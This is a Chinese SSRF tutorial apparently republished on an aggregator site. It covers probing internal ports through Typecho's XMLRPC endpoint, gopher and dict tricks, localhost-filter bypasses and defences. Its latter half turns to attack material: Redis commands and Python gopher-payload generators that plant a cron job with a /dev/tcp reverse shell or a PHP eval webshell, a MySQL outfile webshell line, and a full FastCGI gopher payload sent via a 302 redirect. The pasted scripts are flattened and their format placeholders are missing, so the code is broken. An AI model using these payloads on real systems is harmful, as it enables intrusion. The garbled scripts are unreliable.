利用 XMLRpc的 SSRF 漏洞进行内网端口的探测
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用 XMLRpc的 SSRF 漏洞进行内网端口的探测相关的知识,希望对你有一定的参考价值。
参考技术A 直接访问: http://120.203.13.75:8123/ssrf/typecho-1.0-14.10.9-release/index.php/action/xmlrpc页面提示如下:
提示信息告诉我们,该URL访问的是一个xmlrpc服务,但该服务只接受POST请求。
因为这里可以通过xmlrpc来对外发起网络请求,所以这里也存在SSRF漏洞。
关于xmlrpc请求为什么会存在SSRF漏洞,下面贴一段搜索到的解释:
通过搜索引擎可以查到xmlrpc的请求包格式,于是构造如下xml请求来探测内网端口是否开放:
用BurpSuite改包:
可以看到服务器内网的1133端口并未开放。
再测试内网的88端口:
可以看到服务器内网的88端口是开放的。
SSRF漏洞理解进阶&SSRF+gopher打内网(redismysqlfastcgi)& SSRF相关基础概念
基础概念
首先要了解几个概念:
-
内网&外网
-
代理
-
curl
-
gopher、ftp、dict伪协议
-
file_get_contents()、 fsockopen() 、curl_exec() 等函数
内网&外网
内网和外网的概念并不是绝对的,主要要明白的就是内网是外网无法直接访问的。
简单的说,自己的单位或者家庭、小区内部有局域网;单位、家庭之外有覆盖范围极大的网络,比如internet,这个大网络延伸到了我们的单位、家庭(通过光纤、网线、电话线等)。我们把自己的局域网连接到internet上,那么我们的访问范围就从局域网扩展到了整个internet。这时候,就说局域网是内网,internet是外网。
同理,如果你们单位的局域网很庞大,而你的办公室里面的几台电脑组成的小局域网又连接到单位的整个大局域网,那么也可以说单位的大局域网是外网,办公室内的小局域网是内网。
内网也可能是外网的一个部分,比如校园网,或者相对于单位局域网的办公室内部局域网。其特征是:内网电脑的ip就是整个外网ip范围的一部分,内网的电脑通过网关(路由器)连接到外网,网关不需要进行代理服务,直接路由就行了。
代理
所谓代理,就是你提要求,他来办事,相当于一个中间人,类似于代购火车票。局域网的电脑想和外面联络,就把对方地址告诉服务器,也就是网关,网关以自己的身份和对方联络,同时把对方发回来的消息转送给局域网内的电脑。因此,对方看不见局域网内电脑的IP,只会以为是网关那台电脑在与自己交流。网吧内的所有QQ都显示同样的IP。
curl
这个可以看这个百度百科,讲的非常好:
https://baike.baidu.com/item/curl?fromModule=lemma_search-box
cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。
cURL支持的通信协议有FTP、FTPS、HTTP、HTTPS、TFTP、SFTP、Gopher、SCP、Telnet、DICT、FILE、LDAP、LDAPS、IMAP、POP3、SMTP和RTSP。
打个比方,我感觉这个命令实现的功能和python爬虫很类似,就是用来进行对话、发包的,它可以指定请求方法、传递参数、指定cookie等
php中由curl的相关函数
php使用curl示例:https://www.shanxing.top/?p=103
php中curl用法就是:创建curl会话 -> 配置参数 -> 执行 -> 关闭会话
<?php
// create curl resource
$ch = curl_init("baidu.com");
//return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// $output contains the output string
$output = curl_exec($ch);
//echo output
echo $output;
// close curl resource to free up system resources
curl_close($ch);
?>
数据包:
当我们访问这个php文件,返回的是百度的页面
curl_close() | 关闭一个cURL会话。 |
---|---|
curl_copy_handle() | 复制一个cURL句柄和它的所有选项。 |
curl_errno() | 返回最后一次的错误号。 |
curl_error() | 返回一个保护当前会话最近一次错误的字符串。 |
curl_escape() | 返回转义字符串,对给定的字符串进行URL编码。 |
curl_exec() | 执行一个cURL会话。 |
curl_file_create() | 创建一个CURLFile对象。 |
curl_getinfo() | 获取一个cURL连接资源句柄的信息。 |
curl_init() | 初始化一个cURL会话。 |
curl_multi_add_handle() | 向curl批处理会话中添加单独的curl句柄。 |
curl_multi_close() | 关闭一组cURL句柄。 |
curl_multi_exec() | 运行当前cURL句柄的子连接 |
curl_multi_getcontent() | 如果设置了CURLOPT_RETURNTRANSFER, |
则返回获取的输出的文本流。 | |
curl_multi_info_read() | 获取当前解析的cURL的相关传输信息。 |
curl_multi_init() | 返回一个新cURL批处理句柄。 |
curl_multi_remove_handle() | 移除curl批处理句柄资源中的某个句柄资源。 |
curl_multi_select() | 等待所有cURL批处理中的活动连接。 |
curl_multi_setopt() | 设置一个批处理cURL传输选项。 |
curl_multi_strerror() | 返回描述错误码的字符串文本。 |
curl_pause() | 暂停及恢复连接。 |
curl_reset() | 重置libcurl的会话句柄的所有选项。 |
curl_setopt_array() | 为cURL传输会话批量设置选项。 |
curl_setopt() | 设置一个cURL传输选项。 |
curl_share_close() | 关闭cURL共享句柄。 |
curl_share_init() | 初始化cURL共享句柄。 |
curl_share_setopt() | 设置一个共享句柄的cURL传输选项。 |
curl_strerror() | 返回错误代码的字符串描述。 |
curl_unescape() | 解码URL编码后的字符串。 |
curl_version() | 获取cURL版本信息。 |
gopher、ftp、dict伪协议
- ftp:// 协议
FTP(File Transfer Protocol,文件传输协议) 是 TCP/IP 协议组中的协议之一。FTP协议包括两个组成部分,其一为FTP服务器,其二为FTP客户端。其中FTP服务器用来存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。在开发网站的时候,通常利用FTP协议把网页或程序传到Web服务器上。此外,由于FTP传输效率非常高,在网络上传输大的文件时,一般也采用该协议。
功能:
探测目标端口
使用:
如果目标未开放探测的端口,则会立马产生回显
如果对方开放了所探测的端口,页面将会一直处于加载中的状态
- Gopher://协议
gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。
可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
curl
是支持gopher协议
的,所以这也是curl_exec()
容易出现漏洞的地方
gopher://IP:port/_TCP/IP数据流
那么,为什么ssrf要配合gopher协议呢?
我觉得,是因为正常来说你只能传一个内网url+文件路径,没法做更多的操作,比如传马,比如绕过验证,但是curl_exec()支持gopher协议,gopher可以把一整个请求包打包塞进里面,那请求包能干的事我们就都能干, 并且就可以解决漏洞点不在GET参数的问题了 。
在gopher协议中发送HTTP的数据,需要以下三步:
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议
在转换为URL编码时候有这么几个坑
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
- Dict:// 协议
功能:
泄露安装软件版本信息,查看端口,操作内网redis服务等
dict://xxxxx:port/info(探测端口和版本信息)
dict返回的指纹信息判断开启的服务 , 结合端口探测内网服务
file_get_contents()、 fsockopen() 、curl_exec() 等函数
这些在php文档里都能查到的
https://www.php.net/manual/zh/ref.strings.php
漏洞成因
一般来说我们是无法直接访问内网的,但是如果该网站有和其他url交互的功能,并且交互过程的代码业务逻辑没有做到对传入url参数的过滤,就有可能被人利用目标网站的内部系统访问到内网,甚至能进行一些攻击行为。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人,相当于这个网站的服务器起到了代理的作用)
总的来说, SSRF是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其它服务器
漏洞复现
在开发中, 能够对外发起网络请求的地方,就可能存在 SSRF。
<?php
$url=$_GET['url'];
// create curl resource
$ch = curl_init($url);
//return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// $output contains the output string
$output = curl_exec($ch);
//echo output
echo $output;
// close curl resource to free up system resources
curl_close($ch);
?>
内网访问
大概模拟一下吧
file读文件
攻防
url完整格式:
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
原理弄明白了,攻防怎么做就清楚了,防御思路和其他漏洞其实差不多,进行严格的过滤,选择性采取黑名单或者白名单的方式,要注意ip是有很多形式的,如果采用黑名单其实并不安全,比如说:127.0.0.1
8进制格式:0177.00.00.01
16进制格式:0x7f.0x0.0x0.0x1
10进制整数格式:2130706433
中文句号:127。0。0。1
此外,0.0.0.0,http://sudo.cc,localhost也是可以的,甚至可以在自己的服务器上添加一个解析指向127.0.0.1,或者进行302重定向也是可以的
302重定向:
<?php
header("Location:http://127.0.0.1/flag.php");
DNS重绑定绕过
你只需要有个域名,但是它映射两个IP;同时设置TTL为0,能方便两个IP即刻切换
效果类比:你访问wwfcww.xyz
这个域名,第一次解析的IP是192.168.0.1;而第二次解析的IP是127.0.0.1
这个操作,就叫做DNS重绑定
具体利用这个网站:https://lock.cmpxchg8b.com/rebinder.html
防护措施
(1)黑名单
过滤10.0.0.0/8、172.16.0.0/12/192.168.0.0/16、localhost等等
过滤各种协议如file://、dict://、ftp://
对回显内容进行过滤
内网服务开启鉴权(Mencached,Redis,Elasticsearch and MongoDB)
(2)使用白名单,如果出现需要请求资源而无法使用白名单的情况,首先禁用CURLOPT_FOLLOWLOCATION,然后通过域名获取目标ip,并过滤内部ip,最后对比返回内容是否与假定一致
SSRF打内网
存在ssrf漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议。
file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描、端口探测,如果探测到6379端口,那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上。
- redis
- fastcgi
- mysql
到这里就不得不提gopherus这个工具的使用了:此工具可以自动生成 Gopher payload,以利用 SSRF并获得 RCE。
该工具的攻击范围:
- MySQL (Port-3306)
- PostgreSQL(Port-5432)
- FastCGI (Port-9000)
- Memcached (Port-11211)
- Redis (Port-6379)
- Zabbix (Port-10050)
- SMTP (Port-25)
使用说明:
https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/
redis
理论
首先要知道redis是个啥,起什么作用
看宝塔里面的redis安装说明,貌似这个就是一种数据库,那么ssrf打redis和mysql应该是有类似的效果
redis常见漏洞利用:https://www.freebuf.com/articles/network/280984.html
在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等……
攻击
- 写进定时任务
主要依靠如下redis命令
flushallset 1 '\\n\\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\\n\\n'config set dir /var/spool/cron/config set dbfilename rootsave
脚本
import urllib.parseprotocol="gopher://"ip="192.168.0.129"port="6379"reverse_ip="192.168.0.132"reverse_port="2333"cron="\\n\\n\\n\\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\\n\\n\\n\\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"passwd=""cmd=["flushall", "set 1 ".format(cron.replace(" ","$IFS")), "config set dir ".format(path), "config set dbfilename ".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH ".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\\r\\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("$IFS"," "))))+CRLF+x.replace("$IFS"," ") cmd+=CRLF return cmdif __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) payload=urllib.parse.quote(payload) with open('Result.txt','w') as f: f.write(payload) with open("Result.txt","r") as f: for line in f.readlines(): print(line.strip())
-
写webshell
在内网中的redis不会开web服务的吧…
import urllib.parseprotocol="gopher://"ip="192.168.0.141"port="6379"shell="\\n\\n<?php eval($_POST[\\"cmd\\"]);?>\\n\\n"filename="shell.php"path="/var/www/"passwd=""cmd=["flushall", "set 1 ".format(shell.replace(" ","$IFS")), "config set dir ".format(path), "config set dbfilename ".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH ".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\\r\\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("$IFS"," "))))+CRLF+x.replace("$IFS"," ") cmd+=CRLF return cmdif __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) payload=urllib.parse.quote(payload) with open('Result.txt','w') as f: f.write(payload) with open("Result.txt","r") as f: for line in f.readlines(): print(line.strip())
mysql
攻击实现原理
我觉得首先学习mysql写shell
https://www.cnblogs.com/zztac/p/11371149.html
https://paper.seebug.org/510/
比较常用的,其实也没啥神秘的,不过是把查询到的数据进行一个导出,我们在查的东西里面写一下一句话木马,这个木马就会出现在我们查询的数据表里,如果能导出为php文件就万事大吉了
select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"
还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成’,那么基本就GG了,但是load_file,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/而不是\\
大概了解了一下,客户端连接mysql有两种,一种是有密码,一种是无密码, 所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,这里利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
进行mysql查询的时候同样有数据包交互,我们要做的就是伪造这种数据包交互,进行curl,当然,这种我们伪造的数据包是利用gopher协议进行发送的
curl gopher://127.0.0.1/_XXXXXX 大概像这样
FAST-CGI
理论
Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
nginx本身不能处理PHP,它只是个web服务器,当接收到请求后,如果是php请求,则发给php解释器处理,并把结果返回给客户端。
nginx一般是把请求发fastcgi管理进程处理,fascgi管理进程选择cgi子进程处理结果并返回被nginx
php-fpm:https://zhuanlan.zhihu.com/p/99271704
nginx和php-fpm的交互:https://learnku.com/articles/41710
简而言之,nginx知识一个服务器,php相关的活还得转交给背后的php干,而fastcgi就是这个“通讯兵”,而且是遵从某种转接规则的通讯兵,而php-fpm就是管理这些“通讯兵”的长官。
攻击实现原理
那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?
理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME
,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。
但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file
和auto_append_file
。
auto_prepend_file
是告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件;auto_append_file
是告诉PHP,在执行完成目标文件后,包含auto_append_file
指向的文件。
那么就有趣了,假设我们设置auto_prepend_file
为php://input
,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include
)
这里有一个利用ssrf302跳转打本地fpm的例子
ssrf 302跳转绕过,打本地php-fpm
302.php
<?php header('Location:gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH31%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%1F%04%00%3C%3Fphp%20system%28%27od%20-t%20d1%20/flag%27%29%3Bdie%28%29%3B%3F%3E%00%00%00%00'); ?>类似的,我们形成一个命令为ls的payload
重要参考:https://www.anquanke.com/post/id/262430#h2-8
以上是关于利用 XMLRpc的 SSRF 漏洞进行内网端口的探测的主要内容,如果未能解决你的问题,请参考以下文章